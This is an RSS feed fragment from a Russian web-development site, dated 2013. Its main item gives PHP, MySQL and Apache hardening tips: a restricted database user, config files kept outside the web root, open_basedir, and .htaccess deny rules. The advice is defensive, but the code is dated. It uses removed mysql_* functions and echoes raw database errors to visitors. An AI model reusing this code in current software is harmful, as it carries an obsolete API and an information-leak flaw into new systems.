Чтобы протестировать наш скрипт, просто запустите в браузере файл “watermark_test.php”. Как результат, должно быть два изображения - исходное и с водяным знаком.]]></description>
			<pubDate>Sat, 27 Apr 2013 18:52:07 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/463]]></link>
		</item>
		<item>
			<title>Безопасность PHP+MYSQL+Apache</title>
			<description><![CDATA[Есть у нас php скрипт, который обращается к mysql БД. Если мы впишем в скрипт, условно говоря, root mysql'я, то можем ли мы рассчитывать на безопасность действий (адекватность и однозначность написанных операций) с БД? Можем ли мы рассчитывать на безопасное хранение пароля в пхп-скрипте?<br />
<br />
1) Лучше создать еще одного пользователя в базе mysql и урезать ему права.. -<br />
<br />
2) Все поключения к базе из php осуществлять через так называемые конфигурационные файлы. Отсюдова подробнее.<br />
<br />
Итак для доступа в mysql через php создаем файлы дополнительные<br />
(конфигурационные) файлы setup.php &amp; config.php<br />
<br />
file setup.php<br />
<br />
&lt;?<br />
$dbname=&quot;dbname&quot;;<br />
$dbuser=&quot;dbuser&quot;;<br />
$dbpass=&quot;dbuserpass&quot;;<br />
$dbserver=&quot;dbserver&quot;;<br />
$adminmail=&quot;твое@мыло&quot;;<br />
?&gt;<br />
<br />
далее создаем файл config.php<br />
file config.php<br />
<br />
&lt;?<br />
function db_err($handle, $message) {<br />
printf(&quot;%s: %d: %sn&quot;, $message,<br />
mysql_errno($handle),mysql_error($handle));<br />
die();<br />
}<br />
<br />
function db_connect() {<br />
<br />
global $dbname,$dbuser,$dbpass,$dbserver;<br />
$dbh = mysql_connect($dbserver,$dbuser,$dbpass);<br />
if(!$dbh) { db_err($dbh, &quot;mysql_connect&quot;); }<br />
$res = mysql_select_db($dbname);<br />
if(!$res) { db_err($dbh, &quot;mysql_select_db&quot;); }<br />
return($dbh);<br />
<br />
}<br />
<br />
?&gt;<br />
<br />
потом выносим эти файлы за пределы сервера, и наконец подключаем эти файлы в<br />
тех файлах где будем работать с базой.<br />
<br />
&lt;?<br />
require(&quot;ваш_путь/setup.php&quot;);<br />
require(&quot;ваш_путь/config.php&quot;);<br />
?&gt;<br />
<br />
и в конечном итоге получаем красивый и вполне безопастный код.<br />
<br />
$dbc=db_connect();<br />
$query = &quot;select .................&quot;;<br />
$result = mysql_query($query,$dbc);<br />
<br />
<br />
--------------------------------------------------------------------------------<br />
<br />
Как защитить /etc/passwd от просмотра?<br />
phpclub<br />
<br />
В конфигурационном файле сервера apache, в контексте соответствующей<br />
директивы &lt;directory&gt; указать(или в .htaccess):<br />
<br />
php_admin_value open_basedir /home/null/www/htdocs<br />
php_admin_value doc_root /home/null/www/htdocs<br />
<br />
--------------------------------------------------------------------------------<br />
<br />
инклуды (.inc)<br />
<br />
часто приходится хранить всякие везде-используемые данные/функции в отдельных<br />
файлах, и потом подключать, используя include[_once]/require[_once].<br />
<br />
но эти файлы обычно не парсятся сервером, т.е. их можно смотреть через<br />
браузер, этого мы и хотим избежать. давать таким файлам расширение .php не очень правильно, т.к. их можно вызвать через браузер, и, хотя мы и не увидим содержимое, но, наверняка, у нас начнут вылазить какие-либо ошибки php,<br />
т.к. код внутри файлов обычно расчитан на исполнеие в определенном окружении(наличие коннекта к базе/чтение файлов/определенные значения констант/переменных).<br />
<br />
есть 2 выхода по сути похожих<br />
1. поместить все .inc файлы за пределами document_root apache<br />
2. написать .htaccess чтобы запретить доступ ко всем файлам с определенными<br />
расширениями<br />
<br />
Пример.<br />
<br />
&lt;filesmatch &quot;.(inc|sql|...другие расширения...)$&quot;&gt;<br />
order deny,allow<br />
# запретить доступ отовсюду<br />
deny from all<br />
#разрешить доступ с вашего ip(если он у вас, конечно, статический)<br />
allow from &lt;ваш ip&gt;<br />
&lt;/filesmatch&gt;]]></description>
			<pubDate>Sat, 27 Apr 2013 18:51:44 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/462]]></link>
		</item>
	</channel>
</rss>